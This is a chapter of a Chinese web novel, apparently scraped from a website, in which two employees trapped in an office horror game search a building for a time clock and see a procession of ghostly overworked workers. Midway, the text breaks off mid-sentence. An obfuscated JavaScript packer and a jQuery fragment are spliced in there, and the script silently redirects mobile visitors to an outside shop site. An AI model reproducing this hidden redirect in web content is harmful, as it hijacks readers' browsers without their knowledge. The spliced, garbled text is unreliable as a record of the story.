已知情报:工作时间,卫生间的使用时间是五分钟。
既然又来到卫生间,自然要好好利用这五分钟,姜劫和钟释之想法不谋而合,本准备理一理现在拿到手的情报,但还没来得及多说两句,卫生间的门忽然被人推动。
两人同时扭头看过去。
——销售部组长黄杉推门而入。
钟释之不动声色向前半步,将姜劫挡在身后。
但黄杉没有攻击意图,他只是挺了挺肥硕的肚子,朝两人不屑地撇了下嘴角,就去其中一间隔间上厕所了。
姜劫和钟释之对视一眼:“赞美厕所的伟大。”
停火止战。
不愧是安全区。
不管是茶水间,还是卫生间,员工忙里偷闲的时候,遇到领导都是很尴尬的事。他们的情况只会更尴尬,无法安心交换情报,这一次怕是没有机会卡五分钟的极限值。
姜劫看了眼时间:“离下班还差二十分钟。”
钟释之瞬间明白了他的意思。
他们已经用掉两次机会,当然也不会放过这最后一次,眼下二十分钟的最优解,就是抓紧时间探索写字楼。若是没被领导撞到,自然皆大欢喜,欢度上班摸鱼的每一分钟;若是不幸被领导撞到,再来一场紧张刺激的追逐战,也能不浪费最后一次机会。
想到这里,姜劫忽然毫无征兆地转身,扬声问隔间里的销售部组长黄杉:“领导,下班时间你还会追我们吗?”
黄杉:“……”
一片死寂。
钟释之缓缓勾起唇角。
姜劫没有放弃,狭窄的厕所里,他的声音清晰悦耳,如流水淙淙:“领导?听得到的吗,领导?”
黄杉:“……”
姜劫:“领导?”
“呵。”钟释之没忍住轻笑出声。
姜劫目光澄澈,斜他一眼:“嘘,别出声,领导正不好意思回答我呢。”
黄杉忍无可忍,放了个屁。
姜劫噤声。
他和钟释之对视一眼,安静地离开了卫生间。
在钟释之说话之前,姜劫率先开了口:“观黄杉刚才的反应,下班时间不是领导说惩罚就能惩罚的,规则上大概比现在宽松。”
所谓套话,有时不需要对方说话。
沉默里也有信息。
不说话,也是一种回答。
“是好事。”钟释之唇边挂着浅笑,“不过黄杉应该恼羞成怒,立誓追你到海角天涯了。”
姜劫淡淡抬眸:“非直系领导,手不能深太长。”
两人说话间,已经来到熟悉的闸机前。没有犹豫,他们快速翻过闸机,走进电梯厅,减少触发保安追击的可能性。
想到他们的任务,姜劫不禁感到有点难办。
就像把大象放进冰箱,第一步不是打开冰箱门,而是确保自己面前有一台冰箱、还有一只大象。所以十点前打卡成功,首先要知道哪里有打卡器,否则一切都是白搭。
现在,他们就卡在这最关键的一步。
一般游戏打到这一步,就应该有一个提示线索的npc出现了。
“十点前找到打卡器……”姜劫托起手中的玻璃球,喃喃自语,“我还是怀疑,线索和地下二层的神秘黑影有关。”
钟释之提醒他:“厕所里的鬼影呢?”
闻言,姜劫若有所思:“在这儿带了一个白天,想必你也能看出来,游戏的恶趣味在解构社畜,不至于让我们两个往女厕所跑。除非——”
说到这里,姜劫顿住,抬头与钟释之四目相视。
钟释之接着他的话往下说:“除非,怪异事件蔓延到女厕所之外,发生了让人不得不放下男女大防的事。”
按照游戏尿性,戏言成真的可能性很大。
“看来,我们不得不回趟公司。”为了找到更多线索,姜劫当机立断下了决定,“是时候感受黑心公司的加班氛围了。”
时间宝贵。
两个人细心谨慎,未放过任何一点细节,先将一层电梯厅的边边角角全都搜查了个遍。至于电梯厅以外,考虑到大头保安的存在,未免触发追逐战浪费时间,他们并没有跳过闸机,只用肉眼扫过空荡的大厅。
都没有发现可疑的地方。
恰在此时,原本停靠在负二层的电梯,显示开始向上移动。
姜劫和钟释之对视一眼。
他们都没有按电梯,电梯却显示上行。
——说明有人上来了。
黄杉在卫生间还没出来,那么此时的地下停车场,除了剩下的钱慧和彭国铭,不排除还有其他出外勤返回公司的人。思及此,两人同时后退一步,和电梯保持一定的距离,然后目不转睛盯着电梯,等待开门的那一刻。
会是谁?
钟释之漫不经心问:“打个赌吗?”
“嗯。”姜劫眨眨眼,随口道,“你领导。”
钟释之轻笑:“你领导。”
两人一边插科打诨,一边随时准备逃跑,气氛自然融洽,倒真像是相识多年的老友。
这大概就是所谓的吊桥效应了。
姜劫想。
按照计划,他们本就准备再去地下室看看,如果这一次钱慧和彭国铭全都上来了,反倒是一件好事,至少让他们对接下来的探索路线心里有底,不用担心领导埋伏在某个角落。
在两个人的注视中,电梯显示的楼层超过数字“1”,慢慢升了上去。
目标不是一楼。
姜劫微蹙眉头:“回公司了?”
他理所当然地以为,领导们会上来继续追他们两个。
“大概率。”钟释之提醒,“还有十几分钟,我们该下去了。”
姜劫点头:“好,保险一点,走楼梯吧。”
钟释之没有异议。
方才电梯没有在一层停留,他们不能确认几个人上楼,故而无法排除车库仍然有人的可能性。坐电梯可能会被人守株待兔,还是走楼梯灵活度高,可以随时逃跑,相对而言更安全。
楼梯间是声控灯。
二人避免发出太大的声音,只是轻轻敲击铁质的扶手栏杆,一声清脆的响声后,最近的声控灯亮起。
借着昏黄灯光,钟释之向下探头,确定无人才招呼姜劫一起往下走。
钟释之走在前面,姜劫紧随其后。
两人快步抵达地下二层,两人没有急着前往车库,而是探头打量整个车库。
果不其然,车库还有人没走。
只见不远处,彭国铭发现被姜劫欺骗,正从停车位往电梯厅的方向走。一边走,一边口中骂骂咧咧,不断爆粗嚷嚷着“艹!两个小兔崽子!”、“不想办法弄死你们,我白当这个组长!”……他看样子被气急了,直骂的气喘吁吁满头大汗,一脸想找回场子的神情。
没过多久,他嘲哳难听的声音就消失在了电梯中。
“人上楼了。”姜劫全然未将彭国铭的话放在心中,气定神闲道,“该我们出场了。”
钟释之点头:“走。”
先探索电梯厅。
有关办公楼的传说里,曾经有个大学生十足跌落电梯井,姜劫不认为这是无用的信息。但他们在电梯厅转了几圈,连条缝都没有放过,并未发现有用的信息。
毫无进展,有两种可能性。
一种,是失足者跌落的传说,的确和电梯里的黑影有关,亲历者皆在加班后遭遇黑影,所以晚上才是线索冒头的时间;另一种,是他们判断错误,电梯井并非通关的关键。
姜劫轻声说:“我总有一种预感。”
钟释之点出他的未尽之言:“是不是觉得,我们应该下去电梯井看一看?”
姜劫颔首。
他更倾向前一种可能。
随着时间推移,他将这个游戏带入到现实,思维方式上颗粒度对齐之后,他也越来越相信,当前游戏是为新玩家定制的猜测。从规则引导、到地图限制、信息获取……都给人一种身处新手保护期,游戏制作方在尽量降低难度的错觉。
在这种前提下,被重点提及的“传说”,合该都是有用的信息。
因此,那起命案,受害者失足跌入电梯井,多年后电梯里出现了黑影,二者必然存在一定联系。
但想看电梯井不是那么简单的事。
想到这里,姜劫轻叹了一声:“程立春把打卡器藏在电梯井下面的概率并不为零。”
“有道理。”钟释之的视线落在某一部电梯上,不疾不徐道,“可惜我们去不了设备层,不然我可以试着操作设备,去电梯井下去瞧瞧。”
姜劫真的惊讶了:“你会操作电梯?”
钟释之谦虚:“会一点。”
“真是……深藏不露。”
千言万语,只化作这一句评价。
二十分钟转瞬即逝,眼看时间离下班只有五分钟,姜劫不得不放弃探索:“时间不够了,我们该回工位了。”
临近下班,钱慧他们都上了楼,没有要抓他们的意思,反而让人心里七上八下的。万一有什么他们两个人还没收集到的规则,那就不好办了。
他们下午三点以前还算规矩,而回顾三点以后发生的事……不仅到处打听八卦,上班时间当着领导的面在车库开小差,被发现后欺骗领导逃避惩罚,下班时间还不在工位上。
千万别玩脱了,被领导标记成旷工,游戏直接失败告终。
回去看看大家加班,说不定能找到新的线索,不至于一直像现在这样漫无目的。顺便再找吴峰他们聊聊,确认一下鬼影的出现集中在哪个时间区间,说不定会有新的进展。
钟释之当然没有意见。
达成一致,就要付诸行动。
就在这时,异变突生。
——所有的电梯,都突然显示正在下行。
这异变来的毫无预兆,使得姜劫手臂生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705611|207813||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
理性泛起一层鸡皮疙瘩。
钟释之微敛双眸,严阵以待。
“扑通——”
“扑通——”
地下室过于安静。
等待的过程中,姜劫恍惚间甚至觉得,自己能听到两个人此起彼伏的心跳声。
这才是真正的吊桥效应吧。
他漫无边际的想着。
姜劫的情绪不可谓不稳定,被异变惊到,也只是呼吸微滞,几不可察。不过一个眨眼的功夫,又钻回了疏离淡然的壳里,还能在这种“危急关头”,抽出时间出了会儿神。
钟释之余光始终观察着姜劫,自然注意到了他微妙的变化。
镇静下来,姜劫不错眼盯着楼层显示。
几部电梯同时下行,速度并不一致,肉眼可见的有快有慢,再加上每部电梯可停靠楼层不同,本应拉开差距才对。最初的确如此,可不过眨眼间,电梯显示的楼层偏差便不再超过两层楼,且中间没有任何停顿,直奔底层而来。
在这个当口,姜劫分外冷静:“你说,会不会突然下来一大堆人,把我们两个团团围住。”
钟释之笑了:“说不定。”
“差六分钟下班。”姜劫看了一眼时间,“可以排除员工下班的可能性。”
公司默认加班的氛围,肯定不会有那种下班铃声一响就冲出公司的员工,更不用说迟到早退了。
思考间,第一部电梯在抵达一层的时候,停了下来。接下来,剩下的几部接连在一楼停留,两分钟后继续往下。
诡异感进一步加深。
两人对视一眼,倒退着退出了电梯厅。
他们需要一定的安全距离。
恰在此时,几部电梯先后抵达,电梯门还未打开,杂乱的脚步声就在耳边炸响。
钟释之拽住姜劫手腕:“跑!”
几乎没有任何犹豫,他们用百米冲刺的速度奔向楼梯间。
确认安全,二人藏在楼梯间后面,谨慎小心探出了头,看向几米外电梯厅的方向。
入眼是无数的人影,或者说类似人形的白影。它们身影模糊不清,从头到脚仿佛被烟雾笼罩,看不清脸和衣服。此时,白影正三三两两拥挤推搡着从电梯厅飘出来,嘈杂的私语声此起彼伏。
走出电梯厅几米远,飘在最前面的白影就一个接着一个烟雾般消散在了车库之中。
姜劫蹙眉:“这是什么,阴兵过境吗?”
“不一定。”钟释之摇头,“万一是人呢。”
闻言,姜劫表情狐疑地抬眸:“从哪里开始是人?”
“行为?”钟释之煞有介事道,“你看,它们会坐电梯,还有脚步声。”说着,他眯了眯眼,定睛仔细打量了一下,“虽然没有影子。”
姜劫默然:“‘虽然’的好啊。”
看到他脸上的微妙神情,钟释之感到莫名的愉悦,有种骨头缝里透出来的松爽感:“谢谢夸奖。”
两人谈话间,放眼望去已经有半数白影如烟般消散,再寻不到半点痕迹。
眼看白影越来越少,只剩下寥寥几道还未消散,姜劫以为这一场异变即将到此为止,却听一阵杂乱的脚步声在身后响起。那声音出现的太晚,下楼梯没有任何动静,在听到声音的瞬间,白影已然距离他们仅仅两米远。
经历过追逐战,姜劫下意识想跑。
钟释之拽住了他。
“等等。”钟释之看着他,轻声说。
姜劫便按兵不动。
下一刻,接连几道白影穿过了两人的身体,随之而来的,还有一段唉声叹气的对话。
“最近压力好大,业绩又完不成了。”
“谁说不是呢……哎,生活不易,每天都好想死啊。”
“我们部门加班越来越严重,我老婆跟我天天生气天天吵,说我整天住在公司不着家了,哎,我也心力交瘁,到底该怎么办……”
“还能咋办,离婚吧,难不成离职吗?”
“……”
伴随着长吁短叹,那几道白影在楼梯间前面消散。
身为社畜,姜劫共情了:“不是阴兵过境,是打工人的怨灵百鬼夜行。”
看起来和阴兵过境不差什么了。
异变消失,钟释之松开姜劫的手腕,掏出手机看了眼时间:“现在,有一个坏消息。”
“我知道。时间到了,我们来不及在下班前赶回去工位了。”姜劫当然没忘记他们原本的计划,“不过这事可以先放一边,我也有一个新消息要分享给你,之所以说是‘新消息’,是因为还不能确认它是好是坏。”
钟释之问:“是什么?”
“你看。”
姜劫将即使深陷追逐战,也一直牢牢拿在手中的玻璃球,双手托着慎重举到钟释之的眼前。玻璃折射的光斑落在姜劫的脸上,清亮的眼眸比玻璃璀璨,一时间晃了钟释之的眼。
“你看,里面的小人,开始动了。”